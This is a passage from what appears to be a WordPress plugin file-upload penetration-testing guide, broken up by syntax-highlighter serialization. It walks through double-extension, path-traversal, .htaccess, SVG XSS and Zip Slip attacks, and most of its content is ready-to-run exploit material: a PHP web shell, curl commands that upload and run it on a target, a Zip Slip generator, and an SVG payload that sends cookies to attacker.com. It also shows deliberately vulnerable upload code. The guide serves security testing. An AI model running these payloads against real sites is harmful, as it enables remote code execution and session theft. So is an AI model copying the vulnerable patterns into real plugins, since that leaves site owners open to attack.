not handled, double extension not handled\n",[36,16290,16291],{"class":38,"line":46},[36,16292,16293],{},"function check_extension( $filename ) {\n",[36,16295,16296],{"class":38,"line":57},[36,16297,16298],{},"    $ext = pathinfo( $filename, PATHINFO_EXTENSION );\n",[36,16300,16301],{"class":38,"line":64},[36,16302,16303],{},"    $allowed = ['jpg', 'jpeg', 'png', 'gif'];\n",[36,16305,16306],{"class":38,"line":70},[36,16307,16308],{},"    return in_array( $ext, $allowed );\n",[36,16310,16311],{"class":38,"line":78},[36,16312,323],{},[36,16314,16315],{"class":38,"line":83},[36,16316,16317],{},"\u002F\u002F \"shell.PHP\" -> ext = \"PHP\" -> not in allowlist, BLOCKED\n",[36,16319,16320],{"class":38,"line":89},[36,16321,16322],{},"\u002F\u002F But some servers are case-insensitive...\n",[36,16324,16325],{"class":38,"line":115},[36,16326,61],{"emptyLinePlaceholder":60},[36,16328,16329],{"class":38,"line":133},[36,16330,16331],{},"\u002F\u002F \"shell.php.jpg\" -> ext = \"jpg\" -> PASSES check\n",[36,16333,16334],{"class":38,"line":138},[36,16335,16336],{},"\u002F\u002F If Apache has AddHandler, .php.jpg may execute as PHP\n",[36,16338,16339],{"class":38,"line":144},[36,16340,61],{"emptyLinePlaceholder":60},[36,16342,16343],{"class":38,"line":158},[36,16344,16345],{},"\u002F\u002F \"shell.php%00.jpg\" -> null byte truncation (PHP \u003C 5.3.4)\n",[36,16347,16348],{"class":38,"line":255},[36,16349,16350],{},"\u002F\u002F Results in \"shell.php\" being written\n",[26,16352,16354],{"className":28,"code":16353,"language":30,"meta":31,"style":31},"# Double extension bypass\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -F 'action=upload_file' \\\n  -F 'file=@\u002Ftmp\u002Fshell.php;filename=shell.php.jpg;type=image\u002Fjpeg'\n\n# Test if PHP executes (Apache may have AddHandler for .php in .php.jpg)\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002Fshell.php.jpg?cmd=id'\n",[33,16355,16356,16361,16377,16383,16392,16399,16403,16408],{"__ignoreMap":31},[36,16357,16358],{"class":38,"line":39},[36,16359,16360],{"class":42},"# Double extension bypass\n",[36,16362,16363,16365,16367,16369,16371,16373,16375],{"class":38,"line":46},[36,16364,92],{"class":49},[36,16366,96],{"class":95},[36,16368,709],{"class":95},[36,16370,712],{"class":53},[36,16372,792],{"class":95},[36,16374,795],{"class":53},[36,16376,155],{"class":95},[36,16378,16379,16381],{"class":38,"line":57},[36,16380,3329],{"class":53},[36,16382,155],{"class":95},[36,16384,16385,16387,16390],{"class":38,"line":64},[36,16386,16104],{"class":95},[36,16388,16389],{"class":53}," 'action=upload_file'",[36,16391,155],{"class":95},[36,16393,16394,16396],{"class":38,"line":70},[36,16395,16104],{"class":95},[36,16397,16398],{"class":53}," 'file=@\u002Ftmp\u002Fshell.php;filename=shell.php.jpg;type=image\u002Fjpeg'\n",[36,16400,16401],{"class":38,"line":78},[36,16402,61],{"emptyLinePlaceholder":60},[36,16404,16405],{"class":38,"line":83},[36,16406,16407],{"class":42},"# Test if PHP executes (Apache may have AddHandler for .php in .php.jpg)\n",[36,16409,16410,16412,16414],{"class":38,"line":89},[36,16411,92],{"class":49},[36,16413,96],{"class":95},[36,16415,16416],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002Fshell.php.jpg?cmd=id'\n",[684,16418,16420],{"id":16419},"vulnerability-4-unrestricted-upload-path","Vulnerability 4: Unrestricted Upload Path",[14,16422,16423],{},"When user controls the upload directory:",[26,16425,16427],{"className":177,"code":16426,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: User controls upload subfolder\nfunction upload_to_folder() {\n    check_ajax_referer( 'upload_nonce' );\n    if ( ! current_user_can( 'upload_files' ) ) {\n        wp_die( 'Unauthorized' );\n    }\n    \n    $folder  = sanitize_text_field( $_POST['folder'] ); \u002F\u002F Sanitized but still dangerous\n    $uploads = wp_upload_dir();\n    $target  = $uploads['basedir'] . '\u002F' . $folder;\n    \n    \u002F\u002F Path traversal: folder = \"..\u002F..\u002Fthemes\u002Ftwentytwenty\u002F\"\n    \u002F\u002F sanitize_text_field does NOT prevent ..\u002F\n    wp_mkdir_p( $target );\n    move_uploaded_file( $_FILES['file']['tmp_name'], $target . '\u002F' . $_FILES['file']['name'] );\n}\n",[33,16428,16429,16434,16439,16444,16449,16454,16458,16462,16467,16472,16477,16481,16486,16491,16496,16501],{"__ignoreMap":31},[36,16430,16431],{"class":38,"line":39},[36,16432,16433],{},"\u002F\u002F VULNERABLE: User controls upload subfolder\n",[36,16435,16436],{"class":38,"line":46},[36,16437,16438],{},"function upload_to_folder() {\n",[36,16440,16441],{"class":38,"line":57},[36,16442,16443],{},"    check_ajax_referer( 'upload_nonce' );\n",[36,16445,16446],{"class":38,"line":64},[36,16447,16448],{},"    if ( ! current_user_can( 'upload_files' ) ) {\n",[36,16450,16451],{"class":38,"line":70},[36,16452,16453],{},"        wp_die( 'Unauthorized' );\n",[36,16455,16456],{"class":38,"line":78},[36,16457,1622],{},[36,16459,16460],{"class":38,"line":83},[36,16461,16191],{},[36,16463,16464],{"class":38,"line":89},[36,16465,16466],{},"    $folder  = sanitize_text_field( $_POST['folder'] ); \u002F\u002F Sanitized but still dangerous\n",[36,16468,16469],{"class":38,"line":115},[36,16470,16471],{},"    $uploads = wp_upload_dir();\n",[36,16473,16474],{"class":38,"line":133},[36,16475,16476],{},"    $target  = $uploads['basedir'] . '\u002F' . $folder;\n",[36,16478,16479],{"class":38,"line":138},[36,16480,16191],{},[36,16482,16483],{"class":38,"line":144},[36,16484,16485],{},"    \u002F\u002F Path traversal: folder = \"..\u002F..\u002Fthemes\u002Ftwentytwenty\u002F\"\n",[36,16487,16488],{"class":38,"line":158},[36,16489,16490],{},"    \u002F\u002F sanitize_text_field does NOT prevent ..\u002F\n",[36,16492,16493],{"class":38,"line":255},[36,16494,16495],{},"    wp_mkdir_p( $target );\n",[36,16497,16498],{"class":38,"line":261},[36,16499,16500],{},"    move_uploaded_file( $_FILES['file']['tmp_name'], $target . '\u002F' . $_FILES['file']['name'] );\n",[36,16502,16503],{"class":38,"line":267},[36,16504,323],{},[26,16506,16508],{"className":28,"code":16507,"language":30,"meta":31,"style":31},"# Path traversal to write to theme directory\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -F 'action=upload_to_folder' \\\n  -F 'nonce=NONCE' \\\n  -F 'folder=..\u002F..\u002Fthemes\u002Ftwentytwenty' \\\n  -F 'file=@\u002Ftmp\u002Fshell.php;filename=evil.php;type=image\u002Fjpeg'\n",[33,16509,16510,16515,16531,16537,16546,16555,16564],{"__ignoreMap":31},[36,16511,16512],{"class":38,"line":39},[36,16513,16514],{"class":42},"# Path traversal to write to theme directory\n",[36,16516,16517,16519,16521,16523,16525,16527,16529],{"class":38,"line":46},[36,16518,92],{"class":49},[36,16520,96],{"class":95},[36,16522,709],{"class":95},[36,16524,712],{"class":53},[36,16526,792],{"class":95},[36,16528,795],{"class":53},[36,16530,155],{"class":95},[36,16532,16533,16535],{"class":38,"line":57},[36,16534,3329],{"class":53},[36,16536,155],{"class":95},[36,16538,16539,16541,16544],{"class":38,"line":64},[36,16540,16104],{"class":95},[36,16542,16543],{"class":53}," 'action=upload_to_folder'",[36,16545,155],{"class":95},[36,16547,16548,16550,16553],{"class":38,"line":70},[36,16549,16104],{"class":95},[36,16551,16552],{"class":53}," 'nonce=NONCE'",[36,16554,155],{"class":95},[36,16556,16557,16559,16562],{"class":38,"line":78},[36,16558,16104],{"class":95},[36,16560,16561],{"class":53}," 'folder=..\u002F..\u002Fthemes\u002Ftwentytwenty'",[36,16563,155],{"class":95},[36,16565,16566,16568],{"class":38,"line":83},[36,16567,16104],{"class":95},[36,16569,16570],{"class":53}," 'file=@\u002Ftmp\u002Fshell.php;filename=evil.php;type=image\u002Fjpeg'\n",[684,16572,16574],{"id":16573},"vulnerability-5-htaccess-upload","Vulnerability 5: .htaccess Upload",[14,16576,16577,16578,16581],{},"If the plugin allows uploading ",[33,16579,16580],{},".htaccess"," files or similar server config:",[26,16583,16585],{"className":28,"code":16584,"language":30,"meta":31,"style":31},"# Create malicious .htaccess\ncat > \u002Ftmp\u002F.htaccess \u003C\u003C 'EOF'\nAddType application\u002Fx-httpd-php .jpg\nEOF\n\n# Upload .htaccess to uploads directory\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -F 'action=upload_file' \\\n  -F 'file=@\u002Ftmp\u002F.htaccess;filename=.htaccess;type=text\u002Fplain'\n\n# Now upload a PHP shell as .jpg\ncat > \u002Ftmp\u002Fshell.jpg \u003C\u003C 'EOF'\n\u003C?php system($_GET['cmd']); ?>\nEOF\n\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -F 'action=upload_file' \\\n  -F 'file=@\u002Ftmp\u002Fshell.jpg;type=image\u002Fjpeg'\n\n# Execute\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-content\u002Fuploads\u002Fshell.jpg?cmd=id'\n",[33,16586,16587,16592,16605,16610,16614,16618,16623,16639,16645,16653,16660,16664,16669,16682,16687,16691,16695,16711,16717,16725,16732,16736,16741],{"__ignoreMap":31},[36,16588,16589],{"class":38,"line":39},[36,16590,16591],{"class":42},"# Create malicious .htaccess\n",[36,16593,16594,16596,16598,16601,16603],{"class":38,"line":46},[36,16595,13332],{"class":49},[36,16597,6391],{"class":102},[36,16599,16600],{"class":53}," \u002Ftmp\u002F.htaccess",[36,16602,16137],{"class":102},[36,16604,16140],{"class":53},[36,16606,16607],{"class":38,"line":57},[36,16608,16609],{"class":53},"AddType application\u002Fx-httpd-php .jpg\n",[36,16611,16612],{"class":38,"line":64},[36,16613,16150],{"class":53},[36,16615,16616],{"class":38,"line":70},[36,16617,61],{"emptyLinePlaceholder":60},[36,16619,16620],{"class":38,"line":78},[36,16621,16622],{"class":42},"# Upload .htaccess to uploads directory\n",[36,16624,16625,16627,16629,16631,16633,16635,16637],{"class":38,"line":83},[36,16626,92],{"class":49},[36,16628,96],{"class":95},[36,16630,709],{"class":95},[36,16632,712],{"class":53},[36,16634,792],{"class":95},[36,16636,795],{"class":53},[36,16638,155],{"class":95},[36,16640,16641,16643],{"class":38,"line":89},[36,16642,3329],{"class":53},[36,16644,155],{"class":95},[36,16646,16647,16649,16651],{"class":38,"line":115},[36,16648,16104],{"class":95},[36,16650,16389],{"class":53},[36,16652,155],{"class":95},[36,16654,16655,16657],{"class":38,"line":133},[36,16656,16104],{"class":95},[36,16658,16659],{"class":53}," 'file=@\u002Ftmp\u002F.htaccess;filename=.htaccess;type=text\u002Fplain'\n",[36,16661,16662],{"class":38,"line":138},[36,16663,61],{"emptyLinePlaceholder":60},[36,16665,16666],{"class":38,"line":144},[36,16667,16668],{"class":42},"# Now upload a PHP shell as .jpg\n",[36,16670,16671,16673,16675,16678,16680],{"class":38,"line":158},[36,16672,13332],{"class":49},[36,16674,6391],{"class":102},[36,16676,16677],{"class":53}," \u002Ftmp\u002Fshell.jpg",[36,16679,16137],{"class":102},[36,16681,16140],{"class":53},[36,16683,16684],{"class":38,"line":255},[36,16685,16686],{"class":53},"\u003C?php system($_GET['cmd']); ?>\n",[36,16688,16689],{"class":38,"line":261},[36,16690,16150],{"class":53},[36,16692,16693],{"class":38,"line":267},[36,16694,61],{"emptyLinePlaceholder":60},[36,16696,16697,16699,16701,16703,16705,16707,16709],{"class":38,"line":273},[36,16698,92],{"class":49},[36,16700,96],{"class":95},[36,16702,709],{"class":95},[36,16704,712],{"class":53},[36,16706,792],{"class":95},[36,16708,795],{"class":53},[36,16710,155],{"class":95},[36,16712,16713,16715],{"class":38,"line":279},[36,16714,3329],{"class":53},[36,16716,155],{"class":95},[36,16718,16719,16721,16723],{"class":38,"line":285},[36,16720,16104],{"class":95},[36,16722,16389],{"class":53},[36,16724,155],{"class":95},[36,16726,16727,16729],{"class":38,"line":291},[36,16728,16104],{"class":95},[36,16730,16731],{"class":53}," 'file=@\u002Ftmp\u002Fshell.jpg;type=image\u002Fjpeg'\n",[36,16733,16734],{"class":38,"line":297},[36,16735,61],{"emptyLinePlaceholder":60},[36,16737,16738],{"class":38,"line":303},[36,16739,16740],{"class":42},"# Execute\n",[36,16742,16743,16745,16747],{"class":38,"line":308},[36,16744,92],{"class":49},[36,16746,96],{"class":95},[36,16748,16749],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-content\u002Fuploads\u002Fshell.jpg?cmd=id'\n",[684,16751,16753],{"id":16752},"vulnerability-6-svg-xss","Vulnerability 6: SVG XSS",[14,16755,16756],{},"WordPress blocks SVG uploads by default, but many plugins re-enable them:",[26,16758,16760],{"className":177,"code":16759,"language":179,"meta":31,"style":31},"\u002F\u002F Plugin re-enables SVG uploads\nadd_filter( 'upload_mimes', function( $mimes ) {\n    $mimes['svg'] = 'image\u002Fsvg+xml';\n    return $mimes;\n});\n",[33,16761,16762,16767,16772,16777,16782],{"__ignoreMap":31},[36,16763,16764],{"class":38,"line":39},[36,16765,16766],{},"\u002F\u002F Plugin re-enables SVG uploads\n",[36,16768,16769],{"class":38,"line":46},[36,16770,16771],{},"add_filter( 'upload_mimes', function( $mimes ) {\n",[36,16773,16774],{"class":38,"line":57},[36,16775,16776],{},"    $mimes['svg'] = 'image\u002Fsvg+xml';\n",[36,16778,16779],{"class":38,"line":64},[36,16780,16781],{},"    return $mimes;\n",[36,16783,16784],{"class":38,"line":70},[36,16785,300],{},[26,16787,16789],{"className":28,"code":16788,"language":30,"meta":31,"style":31},"# Create XSS SVG payload\ncat > \u002Ftmp\u002Fxss.svg \u003C\u003C 'EOF'\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" onload=\"alert(document.domain)\">\n  \u003Crect width=\"100\" height=\"100\"\u002F>\n  \u003Cscript>\n    document.location='https:\u002F\u002Fattacker.com\u002Fsteal?c='+document.cookie;\n  \u003C\u002Fscript>\n\u003C\u002Fsvg>\nEOF\n\n# Upload SVG\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -F 'action=upload_media' \\\n  -F 'async-upload=@\u002Ftmp\u002Fxss.svg;type=image\u002Fsvg+xml' \\\n  -F 'name=xss.svg'\n\n# If admin visits the SVG URL directly, XSS fires in admin context\n",[33,16790,16791,16796,16809,16814,16819,16824,16829,16834,16839,16844,16848,16852,16857,16873,16879,16888,16897,16904,16908],{"__ignoreMap":31},[36,16792,16793],{"class":38,"line":39},[36,16794,16795],{"class":42},"# Create XSS SVG payload\n",[36,16797,16798,16800,16802,16805,16807],{"class":38,"line":46},[36,16799,13332],{"class":49},[36,16801,6391],{"class":102},[36,16803,16804],{"class":53}," \u002Ftmp\u002Fxss.svg",[36,16806,16137],{"class":102},[36,16808,16140],{"class":53},[36,16810,16811],{"class":38,"line":57},[36,16812,16813],{"class":53},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n",[36,16815,16816],{"class":38,"line":64},[36,16817,16818],{"class":53},"\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" onload=\"alert(document.domain)\">\n",[36,16820,16821],{"class":38,"line":70},[36,16822,16823],{"class":53},"  \u003Crect width=\"100\" height=\"100\"\u002F>\n",[36,16825,16826],{"class":38,"line":78},[36,16827,16828],{"class":53},"  \u003Cscript>\n",[36,16830,16831],{"class":38,"line":83},[36,16832,16833],{"class":53},"    document.location='https:\u002F\u002Fattacker.com\u002Fsteal?c='+document.cookie;\n",[36,16835,16836],{"class":38,"line":89},[36,16837,16838],{"class":53},"  \u003C\u002Fscript>\n",[36,16840,16841],{"class":38,"line":115},[36,16842,16843],{"class":53},"\u003C\u002Fsvg>\n",[36,16845,16846],{"class":38,"line":133},[36,16847,16150],{"class":53},[36,16849,16850],{"class":38,"line":138},[36,16851,61],{"emptyLinePlaceholder":60},[36,16853,16854],{"class":38,"line":144},[36,16855,16856],{"class":42},"# Upload SVG\n",[36,16858,16859,16861,16863,16865,16867,16869,16871],{"class":38,"line":158},[36,16860,92],{"class":49},[36,16862,96],{"class":95},[36,16864,709],{"class":95},[36,16866,712],{"class":53},[36,16868,792],{"class":95},[36,16870,795],{"class":53},[36,16872,155],{"class":95},[36,16874,16875,16877],{"class":38,"line":255},[36,16876,3329],{"class":53},[36,16878,155],{"class":95},[36,16880,16881,16883,16886],{"class":38,"line":261},[36,16882,16104],{"class":95},[36,16884,16885],{"class":53}," 'action=upload_media'",[36,16887,155],{"class":95},[36,16889,16890,16892,16895],{"class":38,"line":267},[36,16891,16104],{"class":95},[36,16893,16894],{"class":53}," 'async-upload=@\u002Ftmp\u002Fxss.svg;type=image\u002Fsvg+xml'",[36,16896,155],{"class":95},[36,16898,16899,16901],{"class":38,"line":273},[36,16900,16104],{"class":95},[36,16902,16903],{"class":53}," 'name=xss.svg'\n",[36,16905,16906],{"class":38,"line":279},[36,16907,61],{"emptyLinePlaceholder":60},[36,16909,16910],{"class":38,"line":285},[36,16911,16912],{"class":42},"# If admin visits the SVG URL directly, XSS fires in admin context\n",[684,16914,16916],{"id":16915},"vulnerability-7-zip-slip","Vulnerability 7: Zip Slip",[14,16918,16919],{},"Plugins that extract ZIP archives without path validation:",[26,16921,16923],{"className":177,"code":16922,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Extracts ZIP without checking paths\nfunction extract_zip( $zip_path, $extract_to ) {\n    $zip = new ZipArchive();\n    if ( $zip->open( $zip_path ) === TRUE ) {\n        $zip->extractTo( $extract_to ); \u002F\u002F No path traversal check!\n        $zip->close();\n    }\n}\n",[33,16924,16925,16930,16935,16940,16945,16950,16955,16959],{"__ignoreMap":31},[36,16926,16927],{"class":38,"line":39},[36,16928,16929],{},"\u002F\u002F VULNERABLE: Extracts ZIP without checking paths\n",[36,16931,16932],{"class":38,"line":46},[36,16933,16934],{},"function extract_zip( $zip_path, $extract_to ) {\n",[36,16936,16937],{"class":38,"line":57},[36,16938,16939],{},"    $zip = new ZipArchive();\n",[36,16941,16942],{"class":38,"line":64},[36,16943,16944],{},"    if ( $zip->open( $zip_path ) === TRUE ) {\n",[36,16946,16947],{"class":38,"line":70},[36,16948,16949],{},"        $zip->extractTo( $extract_to ); \u002F\u002F No path traversal check!\n",[36,16951,16952],{"class":38,"line":78},[36,16953,16954],{},"        $zip->close();\n",[36,16956,16957],{"class":38,"line":83},[36,16958,1622],{},[36,16960,16961],{"class":38,"line":89},[36,16962,323],{},[14,16964,16965],{},"Creating a Zip Slip payload:",[26,16967,16969],{"className":28,"code":16968,"language":30,"meta":31,"style":31},"# Create zip with path traversal entry\npython3 \u003C\u003C 'EOF'\nimport zipfile\nimport os\n\nwith zipfile.ZipFile('\u002Ftmp\u002Fzipslip.zip', 'w') as zf:\n    # Write a PHP shell to traverse out of the target directory\n    zf.writestr('..\u002F..\u002Fthemes\u002Ftwentytwenty\u002Fevil.php', '\u003C?php system($_GET[\"cmd\"]); ?>')\n\nprint(\"Created zipslip.zip\")\nEOF\n\n# Upload the malicious ZIP\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -F 'action=upload_zip' \\\n  -F 'nonce=NONCE' \\\n  -F 'zipfile=@\u002Ftmp\u002Fzipslip.zip;type=application\u002Fzip'\n",[33,16970,16971,16976,16984,16989,16994,16998,17003,17008,17013,17017,17022,17026,17030,17035,17051,17057,17066,17074],{"__ignoreMap":31},[36,16972,16973],{"class":38,"line":39},[36,16974,16975],{"class":42},"# Create zip with path traversal entry\n",[36,16977,16978,16980,16982],{"class":38,"line":46},[36,16979,11932],{"class":49},[36,16981,16137],{"class":102},[36,16983,16140],{"class":53},[36,16985,16986],{"class":38,"line":57},[36,16987,16988],{"class":53},"import zipfile\n",[36,16990,16991],{"class":38,"line":64},[36,16992,16993],{"class":53},"import os\n",[36,16995,16996],{"class":38,"line":70},[36,16997,61],{"emptyLinePlaceholder":60},[36,16999,17000],{"class":38,"line":78},[36,17001,17002],{"class":53},"with zipfile.ZipFile('\u002Ftmp\u002Fzipslip.zip', 'w') as zf:\n",[36,17004,17005],{"class":38,"line":83},[36,17006,17007],{"class":53},"    # Write a PHP shell to traverse out of the target directory\n",[36,17009,17010],{"class":38,"line":89},[36,17011,17012],{"class":53},"    zf.writestr('..\u002F..\u002Fthemes\u002Ftwentytwenty\u002Fevil.php', '\u003C?php system($_GET[\"cmd\"]); ?>')\n",[36,17014,17015],{"class":38,"line":115},[36,17016,61],{"emptyLinePlaceholder":60},[36,17018,17019],{"class":38,"line":133},[36,17020,17021],{"class":53},"print(\"Created zipslip.zip\")\n",[36,17023,17024],{"class":38,"line":138},[36,17025,16150],{"class":53},[36,17027,17028],{"class":38,"line":144},[36,17029,61],{"emptyLinePlaceholder":60},[36,17031,17032],{"class":38,"line":158},[36,17033,17034],{"class":42},"# Upload the malicious ZIP\n",[36,17036,17037,17039,17041,17043,17045,17047,17049],{"class":38,"line":255},[36,17038,92],{"class":49},[36,17040,96],{"class":95},[36,17042,709],{"class":95},[36,17044,712],{"class":53},[36,17046,792],{"class":95},[36,17048,795],{"class":53},[36,17050,155],{"class":95},[36,17052,17053,17055],{"class":38,"line":261},[36,17054,3329],{"class":53},[36,17056,155],{"class":95},[36,17058,17059,17061,17064],{"class":38,"line":267},[36,17060,16104],{"class":95},[36,17062,17063],{"class":53}," 'action=upload_zip'",[36,17065,155],{"class":95},[36,17067,17068,17070,17072],{"class":38,"line":273},[36,17069,16104],{"class":95},[36,17071,16552],{"class":53},[36,17073,155],{"class":95},[36,17075,17076,17078],{"class":38,"line":279},[36,17077,16104],{"class":95},[36,17079,17080],{"class":53}," 'zipfile=@\u002Ftmp\u002Fzipslip.zip;type=application\u002Fzip'\n",[18,17082,17084],{"id":17083},"sanitize_file_name-analysis","sanitize_file_name Analysis",[14,17086,17087,17089],{},[33,17088,15515],{}," performs these transformations:",[26,17091,17093],{"className":177,"code":17092,"language":179,"meta":31,"style":31},"\u002F\u002F Removes special characters\n\u002F\u002F Converts to lowercase on some configurations\n\u002F\u002F Replaces spaces with dashes\n\u002F\u002F Strips non-ASCII characters\n\u002F\u002F Removes null bytes\n\n\u002F\u002F DOES NOT protect against:\n\u002F\u002F - Double extensions (shell.php.jpg)\n\u002F\u002F - Legitimate-looking but dangerous names on Apache (shell.php5, shell.phtml)\n\u002F\u002F - Directory separators (on some platforms)\n",[33,17094,17095,17100,17105,17110,17115,17120,17124,17129,17134,17139],{"__ignoreMap":31},[36,17096,17097],{"class":38,"line":39},[36,17098,17099],{},"\u002F\u002F Removes special characters\n",[36,17101,17102],{"class":38,"line":46},[36,17103,17104],{},"\u002F\u002F Converts to lowercase on some configurations\n",[36,17106,17107],{"class":38,"line":57},[36,17108,17109],{},"\u002F\u002F Replaces spaces with dashes\n",[36,17111,17112],{"class":38,"line":64},[36,17113,17114],{},"\u002F\u002F Strips non-ASCII characters\n",[36,17116,17117],{"class":38,"line":70},[36,17118,17119],{},"\u002F\u002F Removes null bytes\n",[36,17121,17122],{"class":38,"line":78},[36,17123,61],{"emptyLinePlaceholder":60},[36,17125,17126],{"class":38,"line":83},[36,17127,17128],{},"\u002F\u002F DOES NOT protect against:\n",[36,17130,17131],{"class":38,"line":89},[36,17132,17133],{},"\u002F\u002F - Double extensions (shell.php.jpg)\n",[36,17135,17136],{"class":38,"line":115},[36,17137,17138],{},"\u002F\u002F - Legitimate-looking but dangerous names on Apache (shell.php5, shell.phtml)\n",[36,17140,17141],{"class":38,"line":133},[36,17142,17143],{},"\u002F\u002F - Directory separators (on some platforms)\n",[26,17145,17147],{"className":28,"code":17146,"language":30,"meta":31,"style":31},"# Test what sanitize_file_name does to various payloads\n# (Use WP-CLI or a test install)\nwp eval 'echo sanitize_file_name(\"shell.php\") . \"\\n\";'         # shell.php - UNCHANGED!\nwp eval 'echo sanitize_file_name(\"shell.PHP\") . \"\\n\";'         # shell.PHP or shell.php\nwp eval 'echo sanitize_file_name(\"shell.php.jpg\") . \"\\n\";'     # shell.php_.jpg on some\nwp eval 'echo sanitize_file_name(\"..\u002F..\u002F..\u002Fetc\u002Fpasswd\") . \"\\n\";' # etc\u002Fpasswd (strips ..\u002F)\n\n# In WordPress, sanitize_file_name KEEPS the .php extension!\n# Extension blocking must be done separately\n",[33,17148,17149,17154,17159,17172,17184,17196,17208,17212,17217],{"__ignoreMap":31},[36,17150,17151],{"class":38,"line":39},[36,17152,17153],{"class":42},"# Test what sanitize_file_name does to various payloads\n",[36,17155,17156],{"class":38,"line":46},[36,17157,17158],{"class":42},"# (Use WP-CLI or a test install)\n",[36,17160,17161,17163,17166,17169],{"class":38,"line":57},[36,17162,7172],{"class":49},[36,17164,17165],{"class":53}," eval",[36,17167,17168],{"class":53}," 'echo sanitize_file_name(\"shell.php\") . \"\\n\";'",[36,17170,17171],{"class":42},"         # shell.php - UNCHANGED!\n",[36,17173,17174,17176,17178,17181],{"class":38,"line":64},[36,17175,7172],{"class":49},[36,17177,17165],{"class":53},[36,17179,17180],{"class":53}," 'echo sanitize_file_name(\"shell.PHP\") . \"\\n\";'",[36,17182,17183],{"class":42},"         # shell.PHP or shell.php\n",[36,17185,17186,17188,17190,17193],{"class":38,"line":70},[36,17187,7172],{"class":49},[36,17189,17165],{"class":53},[36,17191,17192],{"class":53}," 'echo sanitize_file_name(\"shell.php.jpg\") . \"\\n\";'",[36,17194,17195],{"class":42},"     # shell.php_.jpg on some\n",[36,17197,17198,17200,17202,17205],{"class":38,"line":78},[36,17199,7172],{"class":49},[36,17201,17165],{"class":53},[36,17203,17204],{"class":53}," 'echo sanitize_file_name(\"..\u002F..\u002F..\u002Fetc\u002Fpasswd\") . \"\\n\";'",[36,17206,17207],{"class":42}," # etc\u002Fpasswd (strips ..\u002F)\n",[36,17209,17210],{"class":38,"line":83},[36,17211,61],{"emptyLinePlaceholder":60},[36,17213,17214],{"class":38,"line":89},[36,17215,17216],{"class":42},"# In WordPress, sanitize_file_name KEEPS the .php extension!\n",[36,17218,17219],{"class":38,"line":115},[36,17220,17221],{"class":42},"# Extension blocking must be done separately\n",[18,17223,17225],{"id":17224},"testing-upload-endpoints-with-curl","Testing Upload Endpoints with curl",[684,17227,17229],{"id":17228},"standard-multipart-upload","Standard Multipart Upload",[26,17231,17233],{"className":28,"code":17232,"language":30,"meta":31,"style":31},"TARGET=\"https:\u002F\u002Ftarget.example.com\"\n\n# Basic file upload test\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt -X POST \\\n  \"$TARGET\u002Fwp-admin\u002Fadmin-ajax.php\" \\\n  -F 'action=upload_file' \\\n  -F 'nonce=EXTRACTED_NONCE' \\\n  -F 'file=@\u002Fpath\u002Fto\u002Ftest.jpg' \\\n  -v 2>&1 | grep -E \"\u003C HTTP|url|file|error\"\n\n# Upload with custom filename\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt -X POST \\\n  \"$TARGET\u002Fwp-admin\u002Fadmin-ajax.php\" \\\n  -F 'action=upload_file' \\\n  -F 'nonce=EXTRACTED_NONCE' \\\n  -F 'file=@\u002Ftmp\u002Ftest.jpg;filename=custom_name.jpg'\n\n# Upload WordPress media via REST API\ncurl -s -u 'admin:password' -X POST \\\n  \"$TARGET\u002Fwp-json\u002Fwp\u002Fv2\u002Fmedia\" \\\n  -H 'Content-Disposition: attachment; filename=test.jpg' \\\n  -H 'Content-Type: image\u002Fjpeg' \\\n  --data-binary @\u002Ftmp\u002Ftest.jpg\n",[33,17234,17235,17243,17247,17252,17268,17278,17286,17295,17304,17321,17325,17330,17346,17356,17364,17372,17379,17383,17388,17404,17415,17424,17433],{"__ignoreMap":31},[36,17236,17237,17239,17241],{"class":38,"line":39},[36,17238,1886],{"class":605},[36,17240,1220],{"class":102},[36,17242,1891],{"class":53},[36,17244,17245],{"class":38,"line":46},[36,17246,61],{"emptyLinePlaceholder":60},[36,17248,17249],{"class":38,"line":57},[36,17250,17251],{"class":42},"# Basic file upload test\n",[36,17253,17254,17256,17258,17260,17262,17264,17266],{"class":38,"line":64},[36,17255,92],{"class":49},[36,17257,96],{"class":95},[36,17259,709],{"class":95},[36,17261,712],{"class":53},[36,17263,792],{"class":95},[36,17265,795],{"class":53},[36,17267,155],{"class":95},[36,17269,17270,17272,17274,17276],{"class":38,"line":70},[36,17271,3113],{"class":53},[36,17273,1911],{"class":605},[36,17275,4404],{"class":53},[36,17277,155],{"class":95},[36,17279,17280,17282,17284],{"class":38,"line":78},[36,17281,16104],{"class":95},[36,17283,16389],{"class":53},[36,17285,155],{"class":95},[36,17287,17288,17290,17293],{"class":38,"line":83},[36,17289,16104],{"class":95},[36,17291,17292],{"class":53}," 'nonce=EXTRACTED_NONCE'",[36,17294,155],{"class":95},[36,17296,17297,17299,17302],{"class":38,"line":89},[36,17298,16104],{"class":95},[36,17300,17301],{"class":53}," 